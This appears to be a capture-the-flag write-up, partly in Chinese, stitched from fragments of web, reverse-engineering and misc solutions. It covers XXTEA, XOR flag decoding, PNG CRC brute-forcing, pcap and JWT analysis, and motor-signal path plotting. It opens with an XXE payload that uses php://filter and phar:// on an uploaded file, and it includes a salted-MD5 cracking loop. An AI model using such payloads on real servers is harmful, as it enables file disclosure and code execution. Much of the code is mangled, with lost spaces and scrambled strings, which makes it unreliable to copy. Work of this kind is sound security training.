<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/resource=phar:///tmp/uploads/9ee7098eadd66450d552896a0685ea09/20191110/8d696ecb29fbc5ea014d405dad3c4d3e.xml"> ]> <ticket><username>&b;</username><code>1</code></ticket>
with open('passwd.txt') as file: for i in file: oldmd5 = str(hashlib.md5(str(str(hashlib.md5(str(i.split("\n")[0]).encode()).hexdigest())+'Wk3zDr').encode()).hexdigest()) if'2f744817428b953e97ca427d116b18b7' == oldmd5: print(hashlib.md5(str(str(hashlib.md5(str(i.split("\n")[0]).encode()).hexdigest())+'Wk3zDr').encode()).hexdigest()) break else: print("Fuck")
RE (by pwnht)
xx
从题目上可以联想到xxtea
关键判断在这了,如果,v20加密之后的字串和v30逐位比较,如果10次比较成功,就会输出 you win ,那么,之后看v20怎么来的就可以了
voidbtea(uint32_t *v, int n, uint32_tconst key[4]) { uint32_t y, z, sum; unsigned p, rounds, e; if (n > 1) /* Coding Part */ { rounds = 6 + 52 / n; sum = 0; z = v[n - 1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p = 0; p < n - 1; p++) { y = v[p + 1]; z = v[p] += MX; } y = v[0]; z = v[n - 1] += MX; } while (--rounds); } elseif (n < -1) /* Decoding Part */ { n = -n; rounds = 6 + 52 / n; sum = rounds * DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p = n - 1; p > 0; p--) { z = v[p - 1]; y = v[p] -= MX; } z = v[n - 1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } }
#!/usr/bin/env python target=[0x40,0x35,0x20,0x56,0x5D,0x18,0x22,0x45,0x17,0x2F,0x24,0x6E,0x62,0x3C,0x27,0x54,0x48,0x6C,0x24,0x6E,0x72,0x3C,0x32,0x45,0x5B] key=[] flag="flag" for i in flag: key.append(ord(i)^target[flag.index(i)]) flag="" for i in range(0,0x19): flag+=chr(target[i]^key[i%4]) print flag
output_string="" for i in range(len(str_quotient)): output_string+=chr(src.index(str_remainder[i])+src.index(str_quotient[i])*23) #private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *) str_input = '1234567890abcdefghijklmnopqstuv' str_encode = 'fg8hi94jk0lma52nobpqc6stduve731' flag = [] #[email protected]@@A[email protected]
encode_input = '[email protected]@@[email protected]' decode_input="" for i in range(len(encode_input)): decode_input+=encode_input[str_encode.index(str_input[i])] print decode_input
for w in range(1024): for h in range(1024): data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d] crc32 = binascii.crc32(data) & 0xffffffff if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff: print w, h print hex(w), hex(h) open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:]) exit()
在 tcp.stream eq 24 中提取出 114514.png,WinHex 打开发现后面隐藏有 Zip 归档,binwalk 分离即可。
观察 Cookie 字段为 JWT 解密得到 hint (for security, I set my password as a website which i just pinged before),过滤 icmp 和 dns 流量最终锁定到 26rsfb.dnslog.cn 即为 password,解压获得 flag{f14376d0-793e-4e20-9eab-af23f3fdc158}.
defconvert(fname): sample_rate, sig = wavfile.read(fname) sig = sig.tolist() sample = [] for i in range(788): tmp = sig[i*8000] if tmp > 0: sample.append(1) else: sample.append(0) return sample
for i in range(len(tou_a1)): if tou_ena[i] == 1: if tou_a1[i] == 0and tou_a2[i] == 0: lb.append(0) if tou_a1[i] == 0and tou_a2[i] == 1: lb.append(1) if tou_a1[i] == 1and tou_a2[i] == 0: lb.append(-1) if tou_a1[i] == 1and tou_a2[i] == 1: lb.append(0) else: lb.append(-2)
if tou_enb[i] == 1: if tou_b1[i] == 0and tou_b2[i] == 0: rb.append(0) if tou_b1[i] == 0and tou_b2[i] == 1: rb.append(1) if tou_b1[i] == 1and tou_b2[i] == 0: rb.append(-1) if tou_b1[i] == 1and tou_b2[i] == 1: rb.append(0) else: rb.append(-2)
if wei_ena[i] == 1: if wei_a1[i] == 0and wei_a2[i] == 0: la.append(0) if wei_a1[i] == 0and wei_a2[i] == 1: la.append(1) if wei_a1[i] == 1and wei_a2[i] == 0: la.append(-1) if wei_a1[i] == 1and wei_a2[i] == 1: la.append(0) else: la.append(-2)
if wei_enb[i] == 1: if wei_b1[i] == 0and wei_b2[i] == 0: ra.append(0) if wei_b1[i] == 0and wei_b2[i] == 1: ra.append(1) if wei_b1[i] == 1and wei_b2[i] == 0: ra.append(-1) if wei_b1[i] == 1and wei_b2[i] == 1: ra.append(0) else: ra.append(-2)
direct = [] for i in range(len(lb)): tmp = (lb[i], rb[i], la[i], ra[i]) if tmp == (-1, 1, -1, 1): direct.append('left') continue if tmp == (1, -1, 1, -1): direct.append('right') continue if tmp == (-1, -1, -1, -1): direct.append('back') continue if tmp == (1, 1, 1, 1): direct.append('forward') continue if tmp == (-2, -2, -2, -2): direct.append('wait') continue print("unexcepted direction: " + str(tmp))
turn = (90) / 180 * math.pi ford = 1 now = math.pi / 2 x = 0 y = 0 point = [(0,0)] for di in direct: if'wait' == di: point.append((x, y)) if'left' == di: now += turn point.append((x, y)) if'right' == di: now -= turn point.append((x, y)) if'forward' == di: x += ford * math.cos(now) y += ford * math.sin(now) point.append((x, y)) if'back' == di: x -= ford * math.cos(now) y -= ford * math.sin(now) point.append((x, y))
print("\n".join(direct))
xx = [] yy = [] for i in point: xx.append(i[0]) yy.append(i[1]) plt.plot(xx, yy) plt.show()